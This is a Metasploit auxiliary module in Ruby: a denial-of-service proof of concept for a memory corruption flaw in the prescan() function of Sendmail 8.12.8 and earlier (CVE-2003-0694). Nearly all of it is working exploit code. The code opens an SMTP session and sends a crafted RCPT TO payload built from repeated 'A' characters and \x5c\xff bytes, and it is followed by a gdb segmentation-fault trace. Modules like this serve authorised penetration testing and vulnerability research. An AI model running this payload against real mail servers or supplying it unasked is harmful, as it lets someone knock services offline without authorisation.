Sendmail SMTP Address prescan Memory Corruption

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Smtp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sendmail SMTP Address prescan Memory Corruption',  
'Description' => %q{  
This is a proof of concept denial of service module for Sendmail versions  
8.12.8 and earlier. The vulnerability is within the prescan() method when  
parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00  
bytes can be used, limiting the likelihood for arbitrary code execution.  
},  
'Author' => [ 'aushack' ],  
'References' =>  
[  
[ 'OSVDB', '2577' ],  
[ 'CVE', '2003-0694' ],  
[ 'BID', '8641' ],  
[ 'EDB', '24' ]  
],  
'DisclosureDate' => '2003-09-17'))  
end  
  
def run  
begin  
connect  
# we use connect instead of connect_login,  
# because we send our own malicious RCPT.  
# however we want to make use of MAILFROM  
# and raw_send_recv()  
#select(nil,nil,nil,23) # so we can attach gdb to the child PID  
  
sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28  
  
raw_send_recv("EHLO X\r\n")  
raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")  
print_status("Sending DoS packet.")  
raw_send_recv("RCPT TO: #{sploit}\r\n")  
  
disconnect  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Couldn't connect to #{rhost}:#{rport}")  
rescue ::EOFError  
print_status("Sendmail stopped responding after sending trigger - target vulnerable.")  
end  
  
end  
end  
  
=begin  
Program received signal SIGSEGV, Segmentation fault.  
0x8073499 in ?? ()  
(gdb) bt  
#0 0x807e499 in ?? ()  
#1 0x087e125 in ?? ()  
#2 0x5c5c5c5c in ?? ()  
Error accessing memory address 0x5c5c5c5c: Bad address.  
=end  
`